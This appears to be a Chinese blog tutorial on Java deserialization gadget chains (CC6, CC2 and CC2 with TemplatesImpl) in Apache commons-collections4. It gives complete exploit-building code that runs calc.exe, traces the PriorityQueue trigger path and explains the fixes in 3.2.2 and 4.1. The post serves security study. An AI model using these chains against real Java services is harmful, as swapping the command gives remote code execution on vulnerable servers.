06CC2、commons-collections4与漏洞修复
commons-collections的版本和分支
2015年cc链的利用被提出时,apache commons collections有两个分支:
- commons-collections:commons-collections
- org.apache.commons:commons-collections4
前者为Commons Collections⽼的版本包,当时版本号是3.2.1,后 者是官⽅在2013年推出的4版本,当时版本号是4.0。两个包的groupId和artifactId都变了,所以它们并不是一个包的不同版本,而是有着相似功能的不同包。
commons-collections4中的cc1、cc3、cc6
cc1、cc3、cc6都可以在CommonsCollections4中使用,除了cc6需要做一些小改动
将LazyMap.decorate替换为了LazyMap.lazyMap,这是因为CommonsCollections4中的代码改动造成的。
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6InCommonsCollections4 {
public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
Object expMap = new CommonCollection6().getObject();
// ==================
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
// 本地测试触发
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public Object getObject() throws NoSuchFieldException, IllegalAccessException {
Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new
Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new
Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { "calc.exe" }),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
// 修改
Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
Field f =
ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
return expMap;
}
}
CC2
- 入口为java.util.PriorityQueue#readObject,是一个二叉堆
- 通过org.apache.commons.collections4.comparators.TransformingComparator#compare调用transform
java.util.PriorityQueue#readObject分析 :
// java.util.PriorityQueue#readObject
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
// java.util.PriorityQueue#heapify恢复二叉堆状态
private void heapify() {
// size >>> 1个非叶子节点需要调整
// 如果最后一个叶子结点的位置为n,它的父节点的位置为n>>>1,从父节点的位置往前数全部是非叶子节点
for (int i = (size >>> 1) - 1; i >= 0; i--)
// 调整每个非叶子节点
siftDown(i, (E) queue[i]);
}
private void siftDown(int k, E x) {
// 优先队列需要比较节点的大小,comparator是比较器
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
// 使用提前设置的比较器
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
// 触发org.apache.commons.collections4.comparators.TransformingComparator#compare
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
// TransformingComparator#compare触发transformer.transform
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
这里调用过程的理解涉及到对于二叉堆的理解,PriorityQueue是基于二叉堆(最小堆)实现的队列优先。
PriorityQueue源码分析 - linghu_java - 博客园 (cnblogs.com)
- readObject在反序列化的过程中,为了保证实现优先队列的数组的顺序,需要调用heapify方法
- heapify方法在恢复堆的顺序的过程中需要使用提前设置的比较器,因此调用TransformingComparator#compare触发transformer.transform
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
public class CommonsCollections2 {
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class,Object[].class }, new Object[] { null, new
Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class
},
new String[] { "calc.exe" }),
};
Transformer transformerChain = new
ChainedTransformer(fakeTransformers);
Comparator comparator = new
TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
setFieldValue(transformerChain, "iTransformers", transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
结合TemplatesImpl改进CC2
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;
public class CommonsCollections2TemplatesImpl {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static String classFileToBase64(String filepath) throws IOException {
String classFilePath = filepath;
String base64String;
// 读取 class 文件的字节数组
byte[] classBytes = Files.readAllBytes(Paths.get(classFilePath));
// 将字节数组转换为 Base64 编码字符串
base64String= Base64.getEncoder().encodeToString(classBytes);
return base64String;
}
public static void main(String[] args) throws Exception {
String base64Code = classFileToBase64("CalcExample.class");
byte[] code =
Base64.getDecoder().decode(base64Code);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "CalcExample");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(obj);
queue.add(obj);
setFieldValue(transformer, "iMethodName", "newTransformer");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
漏洞修复
- commons-collections3.2.2增加了⼀个⽅法 FunctorUtils#checkUnsafeSerialization ,⽤于检测反序列化是否安全。如果开发者没有设置全 局配置 org.apache.commons.collections.enableUnsafeSerialization=true ,即默认情况下会 抛出异常。 这个检查在常⻅的危险Transformer类 ( InstantiateTransformer 、 InvokerTransformer 、 PrototypeFactory 、 CloneTransforme r 等)的 readObject ⾥进⾏调⽤,所以,当我们反序列化包含这些对象时就会抛出⼀个异常
- 4.1⾥,这⼏个危险Transformer类不再实现 Serializable 接⼝,也就 是说,他们⼏个彻底⽆法序列化和反序列化了。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 地球OL攻略 —— 某应届生求职总结
· 提示词工程——AI应用必不可少的技术
· Open-Sora 2.0 重磅开源!
· 周边上新:园子的第一款马克杯温暖上架